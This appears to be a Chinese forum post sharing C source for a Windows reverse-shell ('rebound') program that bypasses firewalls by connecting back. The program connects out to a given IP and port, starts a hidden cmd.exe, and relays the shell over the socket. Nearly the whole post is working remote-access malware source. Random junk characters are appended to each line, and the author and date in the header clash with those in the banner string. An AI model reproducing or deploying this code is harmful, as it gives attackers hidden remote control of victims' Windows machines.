这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %IBT85{
h#Z["BG
/* ============================== OGg\VV'
Rebound port in Windows NT w r"0+J7
By wind,2006/7 c45s
#6
===============================*/ r<fcZ)jt|
#include P}~MO)*1
#include U2m#BMV
<c[\\
:Hh*
#pragma comment(lib,"wsock32.lib") N$kxf
F$\Da)Y
void OutputShell(); Y
f!O o
SOCKET sClient; ^P@:CBO
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'UhHcMh:
m[xl)/e
void main(int argc,char **argv) ZN#b5I2Pf
{ 8)bR\s
WSADATA stWsaData; cy.r/Z}
int nRet; ~D3S01ecM
SOCKADDR_IN stSaiClient,stSaiServer; s>o#Ob@4'
)KE
if(argc != 3) &*>.u8:r
{ :.ZWYze
printf("Useage:\n\rRebound DestIP DestPort\n"); h"+7cc@
return; *Z"`g
%,;
} &PE%tm
Lq5xp<
WSAStartup(MAKEWORD(2,2),&stWsaData); 60^j<O
>\[]z^J
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OiQf=Uz\
:wS&3:h
stSaiClient.sin_family = AF_INET; NH|I>vyN
stSaiClient.sin_port = htons(0); _cQ
'3@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); is8i_FoD,n
`{:Nt#7
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ht;Rz*}
{ 5h/,*p6Nje
printf("Bind Socket Failed!\n"); Op-z"inw
return; )9"^ D
} ^'E^*R
6}-No
stSaiServer.sin_family = AF_INET; W"Y)a|rG%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y@7fR9hp<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I9zs
A]!0Z:{h%
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9oJM?&i
{ s0dP3tz>
printf("Connect Error!"); ,Tr&`2w
return; 3`yO&upk
} kyAN O
OutputShell(); @CzFzVmF"
}
]S4"JcM
I :<,9.
void OutputShell() xg/(
{ 7*uN[g#p
char szBuff[1024]; .4\I?
SECURITY_ATTRIBUTES stSecurityAttributes; Y
M:9m)
OSVERSIONINFO stOsversionInfo; 9k ~8n9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'r 7[9[
STARTUPINFO stStartupInfo; 5(ZOm|3ix
char *szShell; kVQm|frUz
PROCESS_INFORMATION stProcessInformation; Ztmh z_u7
unsigned long lBytesRead; =!q]0#
F2}Fuupb.
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ybiTWM
7JBs7LG
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pF8$83S
stSecurityAttributes.lpSecurityDescriptor = 0; t$n Jmfzm
stSecurityAttributes.bInheritHandle = TRUE; k)-+ZmMOh
0RA#Y(IR
B{&W|z{$
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L@GICW~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LHA^uuBN}
n#x_da-m]
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]%D!-[C%1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pv5S k8
stStartupInfo.wShowWindow = SW_HIDE; F%-@_IsG#
stStartupInfo.hStdInput = hReadPipe; `f}s<At
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z)hK 2JD
3%'`^<-V
GetVersionEx(&stOsversionInfo); 68,j~e3-i
aInt[D(
switch(stOsversionInfo.dwPlatformId) .)[E`a
{ 1rZ E2
case 1: KsOSPQDGE
szShell = "command.com"; Zzjx;SF
break; ;)FvTm'"\.
default: uSR%6=$
szShell = "cmd.exe"; bs|gQZG
break; E7/UsUV.
} 8*u'D@0
;GM`=M4
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5
NYS@76o7
>KuNHuHu
send(sClient,szMsg,77,0); n~6$CQ5dF(
while(1) u!D?^:u=)
{ a?+C]u?_D
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c;]\$#2
if(lBytesRead) \;Q(o$5<
{ Wd7*7']
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8J'5%$3u
send(sClient,szBuff,lBytesRead,0); =? !FO'zt"
} (E0WZ$f}
else )q_,V"
{ dY}5Kmt
lBytesRead=recv(sClient,szBuff,1024,0); HE+' fQ!R
if(lBytesRead<=0) break; U>*@VOgB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I*TTD]e'X
} \m|5Aqs
} vxPE=!|
it H
return; @I4HpY7:
}